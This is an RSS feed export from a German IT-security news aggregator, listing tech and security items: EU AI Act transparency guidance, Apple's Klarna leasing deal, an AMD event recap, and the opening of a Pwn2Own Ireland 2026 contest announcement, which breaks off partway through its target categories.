<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=invisible+hand%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 08:49:15 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 08:49:15 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>

<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=invisible+hand%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[China's New Bionic Humanoid Hand Just Made Boston Dynamics & Tesla's Humanoids Look Like a JOKE!]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3695706/videos/chinas-new-bionic-humanoid-hand-just-made-boston-dynamics-teslas-humanoids-look-like-a-joke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695706/videos/chinas-new-bionic-humanoid-hand-just-made-boston-dynamics-teslas-humanoids-look-like-a-joke/</guid>
<pubDate>Sun, 26 Jul 2026 15:52:47 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>YouTube Video</p><p><iframe loading="lazy" src="https://www.youtube.com/embed/W18kCaVBqzc"></iframe></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[History Professor Catches AI in Class: Madagascar purple bicycle whispers to the ceiling]]></title>
<description><![CDATA[In radiology a patient swallows barium sulfate to make the invisible digestive tract show up on X-ray. Counterintelligence uses this method, sending something traceable into an closed system to record its appearance. And so the method has been described as a “barium meal”. For example, when you g...]]></description>
<link>https://tsecurity.de/de/3695348/it-security-nachrichten/history-professor-catches-ai-in-class-madagascar-purple-bicycle-whispers-to-the-ceiling/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695348/it-security-nachrichten/history-professor-catches-ai-in-class-madagascar-purple-bicycle-whispers-to-the-ceiling/</guid>
<pubDate>Sun, 26 Jul 2026 10:18:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In radiology a patient swallows barium sulfate to make the invisible digestive tract show up on X-ray. Counterintelligence uses this method, sending something traceable into an closed system to record its appearance. And so the method has been described as a “barium meal”. For example, when you give different suspects slightly different versions of a … <a href="https://www.flyingpenguin.com/history-professor-catches-ai-in-class-madagascar-purple-bicycle-whispers-to-the-ceiling/" class="more-link">Continue reading <span class="screen-reader-text">History Professor Catches AI in Class: Madagascar purple bicycle whispers to the ceiling</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weekend deals deliver $299 Apple Watch Series 11, $89 AirTag 4-pack, $399 iPad]]></title>
<description><![CDATA[Amazon's weekend Apple sale is going strong, with price drops of up to $150 off Apple Watch, AirTag, and iPad devices.Apple Watch, AirTags, and iPads are all on sale this weekend. Continue Reading on AppleInsider | Discuss on our Forums]]></description>
<link>https://tsecurity.de/de/3694854/ios-mac-os/weekend-deals-deliver-299-apple-watch-series-11-89-airtag-4-pack-399-ipad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694854/ios-mac-os/weekend-deals-deliver-299-apple-watch-series-11-89-airtag-4-pack-399-ipad/</guid>
<pubDate>Sat, 25 Jul 2026 20:54:08 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon's weekend Apple sale is going strong, with price drops of up to $150 off Apple Watch, AirTag, and iPad devices.<br><br><div><img src="https://media.appleinsider.com/gallery/68361-144076-amazon-weekend-apple-sale-2026-xl.jpg" alt="Hand holding an iPad displaying a colorful home screen with apps and widgets, with bold text in the top left corner reading WEEKEND SALE on an orange background" class=""><br><span>Apple Watch, AirTags, and iPads are all on sale this weekend.</span></div><br><div><img src="https://media.appleinsider.com/gallery/68361-144077-apple-watch-series-11-xl.jpg" alt="Save $100 on several Apple Watch Series 11 styles."><br><br> <a href="https://appleinsider.com/articles/26/07/25/weekend-deals-deliver-299-apple-watch-series-11-89-airtag-4-pack-399-ipad?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245060?urm_source=rss">Discuss on our Forums</a></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Der „ganze“ Rest vom AAI 2026: Hands-on Helios, Chip-Shots, Slides, TSMC und Robo-Hunde]]></title>
<description><![CDATA[AMD Advancing AI 2026 ist zu Ende. Es war die größte Veranstaltung dieser Art für AMD bisher. Und es gab viel zu hören, zu sehen und auch zum Anfassen, was vor Ort in San Francisco auch gern getan wurde. Denn Hand an riesige Trays für Helios zu legen kann man nicht alle Tage, und große Chips gibt...]]></description>
<link>https://tsecurity.de/de/3694803/it-nachrichten/der-ganze-rest-vom-aai-2026-hands-on-helios-chip-shots-slides-tsmc-und-robo-hunde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694803/it-nachrichten/der-ganze-rest-vom-aai-2026-hands-on-helios-chip-shots-slides-tsmc-und-robo-hunde/</guid>
<pubDate>Sat, 25 Jul 2026 20:00:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/8/9/8-4a93077d0222d177/article-640x360.dc8e4b13.jpg"><p>AMD Advancing AI 2026 ist zu Ende. Es war die größte Veranstaltung dieser Art für AMD bisher. Und es gab viel zu hören, zu sehen und auch zum Anfassen, was vor Ort in San Francisco auch gern getan wurde. Denn Hand an riesige Trays für Helios zu legen kann man nicht alle Tage, und große Chips gibt es auch nicht überall zu sehen.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[I tested a $14 emergency radio with solar and hand-crank power - it's in my survival kit now]]></title>
<description><![CDATA[AM/FM, NOAA weather band, solar and hand-crank charging, and a power bank - this tech is what actually works when the grid doesn't.]]></description>
<link>https://tsecurity.de/de/3694582/hacking/i-tested-a-14-emergency-radio-with-solar-and-hand-crank-power-its-in-my-survival-kit-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694582/hacking/i-tested-a-14-emergency-radio-with-solar-and-hand-crank-power-its-in-my-survival-kit-now/</guid>
<pubDate>Sat, 25 Jul 2026 19:03:30 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AM/FM, NOAA weather band, solar and hand-crank charging, and a power bank - this tech is what actually works when the grid doesn't.]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]></title>
<description><![CDATA[If you just want to read the rules, you can find them here.  Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With...]]></description>
<link>https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the rules, you can find them </em><a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank"><em>here</em></a><em>. </em></p><p class=""> </p><p class="">Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random <a href="https://youtube.com/shorts/PjpvUdhn6e0?feature=share">banshee</a>), we had an amazing event, even if we did end up in a <a href="https://youtu.be/ruxOpC-b-yM?si=Epu-ewvSe5VNQNbP&amp;t=333">jail</a> at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).</p><p class="">As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> (note the address). We will be happy to address your issues or concerns directly.</p><p class="">Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules <em>thoroughly</em> to ensure you meet all the requirements.</p><p class="">Now on to this year’s target categories. We’ll have seven different categories for this year’s event:</p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#phones">-- Mobile Phones</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#smarthome">--	Smart Home Devices</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#wellness">-- Wellness</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#printers">-- Printers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#messaging">--	Messaging</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#infrastructure">-- AI Infrastructure</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#agents">-- AI Coding Agents</a>  </p>




  <p class="">Let’s take a look at each category in more detail, starting with mobile phones.</p>





















  
  



<p><a data-preserve-html-node="true" name="phones"></a> </p>




  <p class=""><strong>The Target Phones</strong></p><p class="">Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.</p><p class="">Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="smarthome"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Smart Home Devices</b></p>




